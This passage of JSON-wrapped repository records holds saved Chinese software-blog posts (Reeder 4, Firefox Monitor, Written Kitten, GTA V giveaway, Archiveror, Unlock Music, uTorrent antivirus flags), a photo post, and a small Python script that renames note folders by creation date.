一般的漂浮短信](https://www.appinn.com/ninja-sms/)\n\n[现在可以在网上观看到使用 VR 创作的 3D 艺术图片了](https://www.appinn.com/tilt-brush-explorer-sketches/)\n\n[Ninja Spinki Challenges!! – Flappy Bird 团队新作,虐心游戏再度来临❲iOS/Android❳](https://www.appinn.com/ninja-spinki-challenges/)\n\n[N game – 忍者游戏❲周末游戏计划❳](https://www.appinn.com/n-game/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds) | [反馈](http://appinn.wufoo.com/forms/eccae-aeeae/) | [代理](http://hellohostnet.com/proxy.html) (优惠码 Appinn)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/brush-ninja/#comments) 收藏0\n\nvia John Youi's favorite articles on Inoreader [http://bit.ly/2UZCvYG](http://bit.ly/2UZCvYG)\n\n#博客/小众软件" }, { "alpha_fraction": 0.5960193872451782, "alphanum_fraction": 0.6568047404289246, "avg_line_length": 13.19847297668457, "blob_id": "483174de10510fe1b6af536a97119811755161b0", "content_id": "9659b6de65cef340b2a02cbc9c42b31ee1ac60e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2725, "license_type": "no_license", "max_line_length": 360, "num_lines": 131, "path": "/图片/有意思吧/我想拥有一部这样的相机.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 我想拥有一部这样的相机\n身边很多朋友都说过相似的话。拥有一部自己的相机,记录下自己的每一个瞬间。等到哪天自己年老记不起某件事情、某个人或者某样喜爱的东西的时候,还有个帮自己回忆过去的老家伙。我想用相机,留住曾经的某段时光。大C镜头里的镜头、LOMO范、单反范、卡片范……做个美好的相机女生。\n\n \n![](assets/image_4.jpeg)\n \n\n \n![](assets/image_18.jpeg)\n \n\n \n![](assets/image_20.jpeg)\n \n\n \n![](assets/image_14.jpeg)\n \n\n \n![](assets/image_28.jpeg)\n \n\n \n![](assets/image_6.jpeg)\n \n\n \n![](assets/image_21.jpeg)\n \n\n \n![](assets/image_12.jpeg)\n \n\n摄影不是一个多么具有专业性与针对性的爱好,不是只有一些人能够做的,而只要有一台相机,一双明亮的眼睛,一颗能够发现美的心就够了。一个爱摄影的女孩一定是懂得生活的女孩,无论文字和影像,表现的都是一种对于生活的态度,虽然文艺小青年已经几乎不再是个褒义词,但是谁会拒绝在平凡的生活中体会出味道来的孩子呢?\n\n \n![](assets/image_5.jpeg)\n \n\n \n![](assets/image_10.jpeg)\n \n\n \n![](assets/image_29.jpeg)\n \n\n \n![](assets/image_16.jpeg)\n \n\n \n![](assets/image_1.jpeg)\n \n\n \n![](assets/image_25.jpeg)\n \n\n \n![](assets/image_17.jpeg)\n \n\n \n![](assets/image_7.jpeg)\n \n\n \n![](assets/image_24.jpeg)\n \n\n \n![](assets/image_11.jpeg)\n \n\n \n![](assets/image_27.jpeg)\n \n\n \n![](assets/image_15.jpeg)\n \n\n \n![](assets/image_9.jpeg)\n \n\n \n![](assets/image_13.jpeg)\n \n\n \n![](assets/image_23.jpeg)\n \n\n \n![](assets/image_22.jpeg)\n \n\n \n![](assets/image_8.jpeg)\n \n\n \n![](assets/image_3.jpeg)\n \n\n \n![](assets/image_19.jpeg)\n \n\n \n![](assets/image_26.jpeg)\n \n\n \n![](assets/image_2.jpeg)\n \n\nSO ,女孩子负责笑,男孩子负责拍照吧,生活如此美好。\n\n查看详情评论: [我想拥有一部这样的相机](http://www.u148.net/article/64909.html)\n本文原始链接: [http://www.u148.net/article/64909.html](http://www.u148.net/article/64909.html)\n更多精彩内容: [创意视频](http://www.u148.net/video.html) ┊ [清新图画](http://www.u148.net/image.html) ┊ [好玩游戏](http://www.u148.net/game.html) ┊ [动听音乐](http://www.u148.net/audio.html) ┊ [情感文字](http://www.u148.net/text.html) ┊ [乱七八糟](http://www.u148.net/mix.html) ┊ [讨论小组](http://www.u148.net/group/) ┊ [淘宝皇冠店](http://dianpu.tao123.com/?pid=mm_26142575_0_0&amp;eventid=102167)\n闲逛好站推荐: [爱偷闲(www.iTouxian.com)](http://www.itouxian.com) ,分享身边的美好事、搞笑事、幸福事、蛋疼事…[点此进入](http://www.itouxian.com)\n\n来自 有意思吧\n\n#博客/有意思吧" }, { "alpha_fraction": 0.7026158571243286, "alphanum_fraction": 0.7374942898750305, "avg_line_length": 34.16128921508789, "blob_id": "f88dc8a9c2412cdae997330c20479cda07fe08aa", "content_id": "b2a3df79851e9b12ec72f6ce86a75e0d5b057efe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2900, "license_type": "no_license", "max_line_length": 537, "num_lines": 62, "path": "/博客/小众软件/Reeder 4 – 优秀的 RSS 阅读器,iOS、macOS 双版本首次限免.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Reeder 4 – 优秀的 RSS 阅读器,iOS、macOS 双版本首次限免\n[小众软件 Reeder 4 – 优秀的 RSS 阅读器,iOS、macOS 双版本首次限免](https://www.appinn.com/reeder-4/) \n\n[Reeder 4](https://www.appinn.com/reeder-4/) 是一款 iOS、macOS 平台的优秀 RSS 阅读器,一直以来都能算作排名前几的 RSS 阅读器,支持与 Feedbin、Feedly、NewsBlur、The Old Reader、Inoreader、FreshRSS、Pocket、Instapaper 等众多云服务同步,目前在 App Store 双版本首次限免。@Appinn\n\n![](assets/image_2.jpeg)\n\n按照惯例,每当快要有新版本发布的时候,Reeder 就会将当前版本限免,比如 [Reeder 3](https://www.appinn.com/reeder-3/) 限免不久后,Reeder4 就发布了。\n\n但如今的情况有些不太一样,RSS 用户越来越少,RSS 内容源也越来越少,在如此的情况下,青小蛙不确定还会不会有 Reeder 5。\n\nReeder 4 功能十分全面,支持众多云服务商,包括:\n\n* Feedbin\n* Feedly\n* Feed Wrangler\n* FeedHQ\n* NewsBlur\n* The Old Reader\n* Inoreader\n* BazQux Reader\n\n还有自建服务:\n\n* FreshRSS\n* Reader\n* Fever\n\n![](assets/image_3.jpeg)\n\n以及稍后阅读:\n\n* Pocket\n* Instapaper\n* 保存在 iCloud 的内置稍后阅读\n\n![](assets/image_1.jpeg)\n不知道会有多少同学是通过 Reeder 4 阅读到这篇文章,要不要前来举个手呢?\n\n目前可以在 [App store](https://apps.apple.com/cn/app/reeder-4/id1449412357) 和 [Mac App Store](https://apps.apple.com/cn/app/reeder-4/id1449412482?ls=1&amp;mt=12) 免费安装,过期不候。\n\n- - - -\n\n## 相关阅读\n\n* [Reeder – iOS Google Reader 阅读器降临 Mac](https://www.appinn.com/reeder-for-mac/)\n* [阅读器 Reeder 3 在 macOS 与 iOS 双版本限免](https://www.appinn.com/reeder-3/)\n* [Reeder OSX 和 iPad 版本限免](https://www.appinn.com/reeder-osx-ipad-for-free/)\n* [@張久武 私藏的 5 款智能手机应用](https://www.appinn.com/zhang95-apps-share/)\n* [@o1xhack 私藏的 10 款 App 分享](https://www.appinn.com/o1xhack-apps-share/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/reeder-4/#comments) 收藏0\n\n[https://www.appinn.com/reeder-4/](https://www.appinn.com/reeder-4/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.5873655676841736, "alphanum_fraction": 0.5954301357269287, "avg_line_length": 34.42856979370117, "blob_id": "999f9ce83df3b0f9f7b2469e0a8a56bcf510807d", "content_id": "86c8e8d81cd6fc092d3d7322025c3bee998159ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 744, "license_type": "no_license", "max_line_length": 112, "num_lines": 21, "path": "/mark_create_time.py", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "import os\nimport re\nfrom datetime import datetime\n\ndate_pattern = re.compile(r\"^\\[\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}]\")\n\n\ndef mark(directory: str):\n if not os.path.isdir(directory):\n return\n for cur_dir, sub_dirs, filenames in os.walk(directory):\n if cur_dir.endswith('.textbundle') and not date_pattern.match(cur_dir):\n datetime_str = datetime.fromtimestamp(os.stat(cur_dir).st_birthtime).strftime(\"[%Y-%m-%d %H:%M:%S]\")\n parent_dir, basename = os.path.dirname(cur_dir), os.path.basename(cur_dir)\n rename = os.path.join(parent_dir, datetime_str + basename)\n print(\"%s => %s\" % (cur_dir, rename))\n os.rename(cur_dir, rename)\n\n\nif __name__ == '__main__':\n mark('.')\n" }, { "alpha_fraction": 0.7397934198379517, "alphanum_fraction": 0.7594687938690186, "avg_line_length": 49.849998474121094, "blob_id": "17f020791af4f8b7dc84529e563c8f75e03c772e", "content_id": "de0b49ac7c48322c9d811c2ac070bceabdf4cb11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2876, "license_type": "no_license", "max_line_length": 644, "num_lines": 40, "path": "/博客/小众软件/Firefox Monitor 给我发来了密码泄露提醒,你的密码泄漏了吗?.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Firefox Monitor 给我发来了密码泄露提醒,你的密码泄漏了吗?\n[Firefox Monitor](https://www.appinn.com/firefox-monitor/) 是 Firefox 前阵子推出的免费服务,它能够在 **你的数据** 泄露发生时,通过邮件通知你。@Appinn\n\n![](assets/image_2.jpeg)\n\n数字时代,被数字化的信息越多,被泄漏的信息也就越多。泄漏不可避免,但泄漏之后第一时间发现,还是有补救的机会。\n\nFirefox Monitor 只需要你的邮箱,就能找到已经泄漏的信息,并且还能在未来发生新的泄漏事件时通知你。\n\n青小蛙就在今天早上收到了一封 Firefox Monitor 的邮件,提示 [EyeEm](https://www.appinn.com/eyeem/) 发生了泄漏事件,包括用户名、密码、邮箱等信息:\n\n![](assets/image_1.jpeg)\n\n你只需要在这里登记即可: [https://monitor.firefox.com/](https://monitor.firefox.com/)\n\n另外需要注意的是,由于国内互联网普遍采取手机号码注册,而手机号码的实名制导致泄漏的后果更为严重,所以目前能做的,就是绝对不要再使用一个密码走天下了,尽可能使用密码管理器,比如 [1Password](https://www.appinn.com/1password/)、[LastPass](https://www.appinn.com/lastpass/)、[Keepass](https://www.appinn.com/keepass-password-safe/) 等密码管理器工具。\n\n- - - -\n\n## 相关阅读\n\n[如何同时运行两个配置,扩展完全不一样的 Firefox](https://www.appinn.com/running-two-firefox/)\n\n[Page Monitor 3.4.2 历史版本 – 监控网页变化❲Chrome❳](https://www.appinn.com/page-monitor-for-chrome/)\n\n[30 款漂亮的 Firefox 壁纸收集](https://www.appinn.com/30-top-firefox-wallpaper-collection/)\n\n[Folder Monitor – 文件夹监控](https://www.appinn.com/folder-monitor/)\n\n[域名证书监测,帮你定期检查将要过期的 SSL/TLS 域名证书](https://www.appinn.com/certificate-expiry-monitor/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds) | [反馈](http://appinn.wufoo.com/forms/eccae-aeeae/) | [代理](http://hellohostnet.com/proxy.html) (优惠码 Appinn)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/firefox-monitor/#comments) 收藏0\n\nvia John Youi's favorite articles on Inoreader [http://bit.ly/2TVME8W](http://bit.ly/2TVME8W)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7213906049728394, "alphanum_fraction": 0.7542250156402588, "avg_line_length": 48.33333206176758, "blob_id": "3a2e31e73d14db0fec1b7e6bd355c0c1376e07fa", "content_id": "5847b928cf12c0c960952ab04e030968e992f425", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2980, "license_type": "no_license", "max_line_length": 645, "num_lines": 42, "path": "/博客/小众软件/Written Kitten – 每输入100字,展示一张可爱的猫咪图片.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Written Kitten – 每输入100字,展示一张可爱的猫咪图片\n[小众软件 Written Kitten – 每输入100字,展示一张可爱的猫咪图片](https://www.appinn.com/written-kitten/) \n\n[Written? Kitten!](https://www.appinn.com/written-kitten/) 是一个神器的网站,它本身是一个功能极其简单的文本输入框,不同之处在于,当统计到用户 **每输入 100 个字** 的时候,就随机 **展示一张可爱的猫咪图片** 。@Appinn\n\n![](assets/image_3.jpeg)\n\n@ **Gawiel** 同学 [在微博](https://weibo.com/1890609644/AmVNVnY0a) 上推荐了这个开源项目:\n\n> Written Kitten这个网站是 gradhacker 博客上有人推荐的,可以用来帮助研究生写论文:工作机制极其简单,网页上只有一个空白格子,你每输入100字就会跳出来一张可爱猫咪图片。不谢。 \n\n![](assets/image_2.jpeg)\n\n但是遗憾之处在于原版的 Written Kitten 并不支持中文字的统计,也就是说,你需要输入英文才能显示猫照,这怎么行…\n\n好在 Written Kitten 在 [GitHub](https://github.com/joshuawalcher/writtenkitten-original) 开源,代码也很简单,于是青小蛙 [做了一点微小的工作](https://github.com/scavin/writtenkitten-original) ,让 Written Kitten 支持了中文,并且发布 [在这里](https://kitten.appinn.net/) ,打开就能用。\n\n![](assets/image_1.jpeg)\n\n在输入框的下方,可以设置显示图片的类型,支持 猫咪、狗狗、兔子,图片均来自 Flickr,随机显示。\n\n如果嫌 100 个字太少了,那么还能修改为每 200、500、1000 个字再显示一张照片。\n\n如果你对这个项目也感兴趣,或者发现了中文版的 bug,欢迎 [在这里](https://github.com/scavin/writtenkitten-original) 提交 Pull Request,以及 [在这里访问](https://kitten.appinn.net/) 中文版本。\n\n- - - -\n\n## 相关阅读\n\n* [9 款 Windows7 圣诞主题](https://www.appinn.com/9-christmas-themes-for-windows7/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds) | [反馈](http://appinn.wufoo.com/forms/eccae-aeeae/) | [代理](https://hellohostnet.com/proxy.html) (优惠码 Appinn)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/written-kitten/#comments) 收藏0\n\n[https://www.appinn.com/written-kitten/](https://www.appinn.com/written-kitten/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7256637215614319, "alphanum_fraction": 0.7590953707695007, "avg_line_length": 45.25, "blob_id": "5ea88c6b9d75a674cb4f4bbaacb0f0d3cf9566c1", "content_id": "a0e15dedf09c38640cdf1ccf5b11bc9f8aaec6ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3145, "license_type": "no_license", "max_line_length": 537, "num_lines": 44, "path": "/博客/小众软件/侠盗猎车手5(Grand Theft Auto V)限免,倒计时5天.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 侠盗猎车手5(Grand Theft Auto V)限免,倒计时5天\n[小众软件 侠盗猎车手5(Grand Theft Auto V)限免,倒计时5天](https://www.appinn.com/grand-theft-auto-v/) \n\n真是有生之年系列。侠盗猎车手5 妥妥被列入18禁游戏,未成年人 请谨慎。\n\n昨天就开始限免了,但青小蛙忘了发,不过限免截止日是5月21日,还有好几天,快去领。本次限免来自 Epic 游戏商城的 [每周一限免系列](https://www.epicgames.com/store/zh-CN/free-games) 。\n\n另外,在线版本还赠送了 100万的游戏币,简直是良心赠送。\n\n![](assets/image_2.jpeg)\n\nGrand Theft Auto V:豪華版內含完整的 GTA 5 故事模式遊戲、Grand Theft Auto 線上模式以及所有現有遊戲更新和內容。您亦可獲得犯罪組織新手包,這是在 GTA 線上模式中開始打造您犯罪帝國的最快方式。\n\n[点击这里前往 Epic 商店](https://www.epicgames.com/store/zh-Hant/product/grand-theft-auto-v/home) 领取。\n\n侠盗猎车手V 是一款开放世界动作冒险游戏,早在2013年就发布了,请注意游戏中存在不适宜未成人内容,请不满18岁的同学在家长的带领下领取游戏。\n\n根据维基百科的资料,《侠盗猎车手V》的销售超过1亿份,是这个星球上第三款销售1亿以上的游戏,前两位前辈是《俄罗斯方块》和《我的世界》。\n\n![](assets/image_1.jpeg)\n\n不过注意,侠盗猎车手V 并不一定适合每个人,更何况买的游戏都不一定玩,送的游戏,先领了再说吧,玩不玩看心情。\n\n- - - -\n\n## 相关阅读\n\n* [『侠盗猎车手:自由城传奇』已在中区 App Store 上架,售价 45 元](https://www.appinn.com/grand-theft-auto-liberty-city-stories-for-ios-cn/)\n* [Apple 教你 16 种 iPhone 7 拍照技巧,人人都是摄影师](https://www.appinn.com/photography-how-to/)\n* [万彩手影大师 – 自媒体(抖音,快手等)动画视频制作软件,送3000个特别版](https://www.appinn.com/wancai-shouying/)\n* [万彩手影大师 – 自媒体(抖音,快手等)动画视频制作软件,送3000个特别版](https://www.appinn.com/wancai-shouying-201912/)\n* [PChome.net 抄袭成风,无耻又垃圾](https://www.appinn.com/pchome-copy/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/grand-theft-auto-v/#comments) 收藏0\n\n[https://www.appinn.com/grand-theft-auto-v/](https://www.appinn.com/grand-theft-auto-v/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7476635575294495, "alphanum_fraction": 0.771695613861084, "avg_line_length": 50.09090805053711, "blob_id": "1399dff7d91c7a268e7ed2d7a7f58b47517da0c6", "content_id": "657fe08797389d0157227601020f387427268fb4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3102, "license_type": "no_license", "max_line_length": 537, "num_lines": 44, "path": "/博客/小众软件/Archiveror – 一键存档,永久保存任何在线网页内容.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Archiveror – 一键存档,永久保存任何在线网页内容\n[小众软件 Archiveror – 一键存档,永久保存任何在线网页内容](https://www.appinn.com/archiveror/) \n\nArchiveror 是一款 Chrome、Firefox 扩展,它连接了四款网页存档工具,可以让用户一键永久保存在线网页内容。支持 *[archive.is](https://archive.is/)*、*[archive.org](https://archive.org/web/)* 等存档服务。\n\n![](assets/image_2.jpeg)\nPhoto by [Mr Cup / Fabien Barral](https://unsplash.com/@iammrcup?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/archive?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText)\n\n感谢 @ [黄猫](https://twitter.com/shrugged_hi/status/1223996529934909440?s=09) 的推荐。\n\n说到网页存档服务,那么互联网档案馆 archive.org 可是大名鼎鼎了,至今已经保存了 4060 亿网页。当然作为档案馆,除了网页, **archive** 还保存了很多老游戏、音乐、视频、图片等内容。Archive 是一家非盈利组织。\n\nArchiveror 支持的另外一个服务是 archive.is,曾用名 archive.today。\n\n另外的两个服务是 perma.cc 和 webcitation.org,但似乎他们已经不对外服务,无法在 Archiveror 中正常使用。\n\n注意,这些网页存档工具,是公开存档,而不是像笔记应用一样的保存在自己的笔记中。\n\n安装 **Archiveror** 后就能一键存档了。只需要点击扩展栏的 Archiveror 按钮,然后选择 **Archive Now!** 即可:\n\n![](assets/image_3.jpeg)\n\n随后就会弹出两个网页,分别是 Archive.is 和 Archive.org 已经存档完成的样子,以及一个唯一网址:\n\n![](assets/image_4.jpeg)\nArchive.is\n\n![](assets/image_1.jpeg)\nArchive.org\n其中 Archive.org 还会用时间线来表示不同版本,Archive.is 也有历史版本,并且除了网页预览还有截图预览,以及打包下载。\n\nArchiveror 在 [GitHub](https://github.com/rahiel/archiveror) 开源,可以在 [Chrome 商店](https://chrome.google.com/webstore/detail/archiveror/cpjdnekhgjdecpmjglkcegchhiijadpb)、[Firefox 商店](https://addons.mozilla.org/zh-CN/firefox/addon/archiveror/) 免费安装。\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/archiveror/#comments) 收藏0\n\n[https://www.appinn.com/archiveror/](https://www.appinn.com/archiveror/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7428333759307861, "alphanum_fraction": 0.7573743462562561, "avg_line_length": 37.83871078491211, "blob_id": "a9d17120a1225e2fbd30ebc4672b4db3fe3a5fc3", "content_id": "bf8cd4e09e1683f6ab3b9e96de657bc001255627", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3650, "license_type": "no_license", "max_line_length": 537, "num_lines": 62, "path": "/博客/小众软件/Unlock Music – 移除已购音乐的加密保护,支持 QQ音乐、网易云音乐.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Unlock Music – 移除已购音乐的加密保护,支持 QQ音乐、网易云音乐\n[小众软件 Unlock Music – 移除已购音乐的加密保护,支持 QQ音乐、网易云音乐](https://www.appinn.com/unlock-music/) \n\n[Unlock Music](https://www.appinn.com/unlock-music/%E2%80%8E) 是一个开源项目,能够移除已购音乐的加密保护,支持 QQ 音乐、网易云音乐,当你付费购买下载之后,即可解密本地加密音乐文件。@Appinn\n\n![](assets/image_2.jpeg)\n\n随着订阅的流行,当初理所当然的你买了就一定是你的,也变成了你买了也不一定是你的。和有持续更新以及售后服务的软件订阅模式不同,音乐和电影的订阅模式,让买一张 CD 听一辈子的愿望彻底成了泡影。\n\n在流媒体时代还有另外一个问题,就是今天可以听的歌曲,可以看的电影,可能明天就没有了…所以云时代带来的方便,还是需要配合合理的本地化,才靠谱。\n\n## *Unlock Music*\n\nUnlock Music 用来移除已购音乐的加密保护,支持 QQ音乐、网易云音乐,具体格式如下:\n\n* 支持 QQ 音乐格式:.qmc0/.qmc3/.qmcflac/.qmcogg,.mflac (Partial 部分支持)\n* 支持网易云音乐格式:.ncm\n\n## 如何找到加密音乐\n\niOS 客户端无解,请使用其他设备:\n\n### Android:\n\n* QQ 音乐下载的音乐文件默认位于:_qqmusic_song/\n* 网易云音乐下载的音乐文件默认位于:_netease_cloudmusic_Music_\n\n### Windows:\n\n* C:\\Users\\用户名\\AppData\\Local\\Netease\\CloudMusic\\Cache\\Cache\n\n### 如何解密\n\n打开 Unlock Music [网站](https://tool.ixarea.com/music/) ,请使用现代浏览器打开,不支持微信内的浏览器,不支持 IE、edge,建议使用 Google Chrome,Mozilla Firefox 或者 Edge Chromium。\n\n![](assets/image_1.jpeg)\n感谢微信好友张同学提供 .ncm 文件测试\n手机浏览器需要手动选择文件,电脑上可以直接将加密文件拖进去。解密在浏览器端进行,不消耗流量。\n\n最后,Unlock Music 是开源项目,可以在 [GitHub](https://github.com/ix64/unlock-music) 贡献代码,或自行部署。\n\n- - - -\n\n## 相关阅读\n\n* [如何流畅的用 Android 手机「指纹解锁」Windows 系统?](https://www.appinn.com/remote-fingerprint-unlock/)\n* [Core Music Player – 寻找核爆的感觉❲Windows Phone❳](https://www.appinn.com/core-music-for-windows-phone/)\n* [TinyMCE Xiami Music for WordPress – 虾米音乐插件 for WordPress](https://www.appinn.com/tinymce-xiami-music/)\n* [MIUI 音乐播放器❲Android❳](https://www.appinn.com/miui-music/)\n* [Background Music – 当开始播放视频时,自动暂停背景音乐,视频结束音乐起❲macOS❳](https://www.appinn.com/background-music-for-macos/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/unlock-music/#comments) 收藏2\n\n[https://www.appinn.com/unlock-music/](https://www.appinn.com/unlock-music/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7350835204124451, "alphanum_fraction": 0.7729287147521973, "avg_line_length": 46.32258224487305, "blob_id": "f849204adf3c4de6fcdede912b1a3366c58fdbeb", "content_id": "0b071c2638cb460a330fcde0e07099cfa1b47de5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4408, "license_type": "no_license", "max_line_length": 537, "num_lines": 62, "path": "/博客/小众软件/爆 uTorrent 被多款杀毒软件查杀,有什么好用的替代品吗?.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 爆 uTorrent 被多款杀毒软件查杀,有什么好用的替代品吗?\n[小众软件 爆 uTorrent 被多款杀毒软件查杀,有什么好用的替代品吗?](https://www.appinn.com/utorrent-alternative/) \n\n近日来自 [Solidot](https://www.solidot.org/story?sid=62905) 引援 [ghacks](https://www.ghacks.net/2019/12/09/utorrent-is-flagged-as-malicious-by-several-antivirus-engines-currently/) 的消息:uTorrent 已被多个杀毒引擎标记为潜在有害应用程序,自从 uTorrent 母公司 BitTorrent 被中国区块链公司波场 TRON 收购之后,就没什么好消息了。那么一个大问题,用户怎么办?有好用的、靠谱的替代品吗?\n\n![](assets/image_3.jpeg)\n\n从由 Google 提供的 VirusTotal 在线杀毒引擎的 [检测结果](https://www.virustotal.com/gui/file/6dc89df370e5425a0197173ee7aefef430a1e79fbe9008a572a66ee1199c00f4/detection) 来看,目前还有包括微软、ESET-NOD32、Comodo、Yandex 在内的 10 家杀毒引擎认为 uTorrent 不够安全。\n\n![](assets/image_2.jpeg)\n\n其实早在很久之前,uTorrent 就添加了难以去除的广告程序,让很多人心烦。\n\n其实被 10 家列为不安全不算多,青小蛙还见过更多的\n\n**注意** ,被标记为潜在有害应用程序并不是说 uTorrent 现在已经是恶意应用了,也有可能是误报,或者是捆绑了其他的软件有问题。要知道杀毒界误报稀松平常,向杀毒软件厂商申诉是很多个人开发者的必备技能。但作为诞生将近 15 年的老牌 BT 软件,uTorrent 不应该是这样的。\n\n![](assets/image_4.jpeg)\n\n那么:\n\n## 有 uTorrent 替代品吗?\n\n青小蛙在 